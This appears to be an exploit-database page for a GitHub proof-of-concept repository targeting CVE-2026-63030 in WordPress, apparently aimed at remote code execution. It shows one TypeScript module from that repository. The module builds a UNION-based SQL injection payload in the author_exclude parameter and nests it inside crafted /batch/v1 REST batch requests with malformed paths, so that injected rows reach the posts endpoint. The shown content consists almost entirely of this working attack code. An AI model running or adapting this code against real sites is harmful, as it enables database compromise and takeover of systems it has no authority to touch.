Exploit database

GH-a8fe5dadaf59969a0724a9d69efb95d4

johnlodan/wp2shell-rce

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-63030

50 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files6
johnlodan/wp2shell-rceRevision dbf6db4071b3

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

src/utils/unionPosts.ts

TypeScript · 1,525 bytes
import axios from "axios";
import { POSTS_ITEM_PATH, REST_ROUTE } from "./constants.ts";

async function unionPosts(
    target: string,
    postRows: string[],
    tailRequests: Record<string, any>[] | null = null,
    timeoutMs: number = 60000
) {
    const wpClient = axios.create({
        baseURL: `${target}?${REST_ROUTE}`,
        timeout: 10000,
    });
    const unionPayload = `1) AND 1=0 UNION ALL SELECT ${postRows.join(' UNION ALL SELECT ')} -- -`;
    const query = new URLSearchParams({
        author_exclude: unionPayload,
        per_page: '500',
        orderby: 'none',
    }).toString();
    const innerRequests: Record<string, any>[] = [
        { method: 'GET', path: 'http://:' },
        { method: 'GET', path: `${POSTS_ITEM_PATH}?${query}` },
        { method: 'GET', path: '/wp/v2/posts' },
    ];
    if (Array.isArray(tailRequests)) {
        innerRequests.push(...tailRequests);
    }
    const payload = {
        requests: [
            { method: 'POST', path: 'http://:' },
            { method: 'POST', path: '/wp/v2/posts', body: { requests: innerRequests } },
            { method: 'POST', path: '/batch/v1' },
        ],
    };
    try {
        const response = await wpClient.post('/batch/v1', payload, {
            timeout: timeoutMs,
        });
        return response.data;
    } catch (error: any) {
        if (error.response) {
            throw new Error(`Batch request returned HTTP ${error.response.status}`);
        }
        throw error;
    }
}

export default unionPosts